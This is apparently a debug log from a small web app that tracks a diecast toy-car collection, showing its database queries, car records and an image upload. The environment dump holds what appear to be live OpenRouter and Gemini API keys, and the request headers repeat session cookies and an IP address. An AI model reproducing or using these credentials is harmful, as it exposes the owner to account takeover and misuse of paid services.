    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=73',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=73',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T06:47:24.236Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T06:47:24.237Z server-connect:app Executing action step identify
2026-02-04T06:47:24.237Z server-connect:app options: { provider: 'security' }
2026-02-04T06:47:24.237Z server-connect:output identity: 1
2026-02-04T06:47:24.237Z server-connect:app Executing action step restrict
2026-02-04T06:47:24.237Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:47:24.237Z server-connect:output restrict: undefined
2026-02-04T06:47:24.237Z server-connect:app Executing action step condition
2026-02-04T06:47:24.237Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T06:47:24.237Z server-connect:app Executing action step update
2026-02-04T06:47:24.237Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T06:47:24.238Z server-connect:output update: { affected: 1 }
2026-02-04T06:47:24.238Z server-connect:app Executing action step upload
2026-02-04T06:47:24.238Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T06:47:24.238Z server-connect:output upload_image: []
2026-02-04T06:47:24.238Z server-connect:app Executing action step repeat
2026-02-04T06:47:24.238Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T06:47:24.238Z server-connect:output repeat_images: []
2026-02-04T06:47:24.238Z server-connect:output condition: undefined
2026-02-04T06:47:24.487Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:47:24.488Z server-connect:app Executing action step identify
2026-02-04T06:47:24.488Z server-connect:app options: { provider: 'security' }
2026-02-04T06:47:24.488Z server-connect:output identity: 1
2026-02-04T06:47:24.488Z server-connect:app Executing action step restrict
2026-02-04T06:47:24.488Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:47:24.489Z server-connect:output restrict: undefined
2026-02-04T06:47:24.489Z server-connect:app Executing action step paged
2026-02-04T06:47:24.489Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:47:24.491Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 30,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 85,
      model_name: 'Masserti Grandturismo Folgore',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-28T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 84,
      model_name: 'Nissan Sentra 2016',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-22T18:30:00.000Z',
      price: '167.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 83,
      model_name: 'Nissan Arya Pole to Pole 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-07T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 82,
      model_name: ' MBX Turf Hauler II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'MBX',
      vehicle_brand_id: 155,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 81,
      model_name: ' Dodge Durango 2018',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 80,
      model_name: 'Polaris RZR Pro R 4 Sport 2025',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Polaris ',
      vehicle_brand_id: 154,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 79,
      model_name: 'Subaru J WRX S4 STI 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-15T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Subaru',
      vehicle_brand_id: 153,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 78,
      model_name: 'Ford E Transit 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 77,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 76,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 75,
      model_name: 'Volva 1986 240 Sedan',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 72,
      model_name: 'Alfa Romeo Duetto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-22T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 71,
      model_name: '1966 Land Rover Gen 11 Safari',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 70,
      model_name: '1963 Ford Thunderbird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T06:47:24.748Z server-connect:router Serving templateView /
2026-02-04T06:47:24.748Z server-connect:app Executing action step identify
2026-02-04T06:47:24.748Z server-connect:app options: { provider: 'security' }
2026-02-04T06:47:24.748Z server-connect:output identity: 1
2026-02-04T06:47:24.748Z server-connect:app Executing action step restrict
2026-02-04T06:47:24.748Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T06:47:24.748Z server-connect:output restrict: undefined
2026-02-04T06:47:24.748Z server-connect:app Executing action step restrict
2026-02-04T06:47:24.748Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T06:47:24.749Z server-connect:output restrict: undefined
2026-02-04T06:47:24.749Z server-connect:router Render template layouts/main
2026-02-04T06:47:24.749Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=73',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=73',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T06:47:32.467Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T06:47:32.467Z server-connect:app Executing action step identify
2026-02-04T06:47:32.467Z server-connect:app options: { provider: 'security' }
2026-02-04T06:47:32.467Z server-connect:output identity: 1
2026-02-04T06:47:32.467Z server-connect:app Executing action step restrict
2026-02-04T06:47:32.468Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:47:32.468Z server-connect:output restrict: undefined
2026-02-04T06:47:32.468Z server-connect:app Executing action step condition
2026-02-04T06:47:32.468Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T06:47:32.468Z server-connect:app Executing action step update
2026-02-04T06:47:32.468Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T06:47:32.469Z server-connect:output update: { affected: 1 }
2026-02-04T06:47:32.469Z server-connect:app Executing action step upload
2026-02-04T06:47:32.469Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T06:47:32.469Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T06:47:32.469Z server-connect:upload Process fields: 'images[]'
2026-02-04T06:47:32.469Z server-connect:upload Processing file: {
  name: 'Screenshot 2026-02-04 105250.jpg',
  data: <Buffer >,
  size: 104510,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-27-20378841770187652466',
  truncated: false,
  mimetype: 'image/jpeg',
  md5: 'd9dc3a3088efe32328ab871e27119172',
  mv: [Function: mv]
}
2026-02-04T06:47:32.469Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/Screenshot_2026-02-04_105250_dab0d508-0cab-4b47-873d-f014eab8fbfd.jpg',
  rel: 'public/assets/images/diecast/Screenshot_2026-02-04_105250_dab0d508-0cab-4b47-873d-f014eab8fbfd.jpg'
}
2026-02-04T06:47:32.469Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/Screenshot_2026-02-04_105250_dab0d508-0cab-4b47-873d-f014eab8fbfd.jpg',
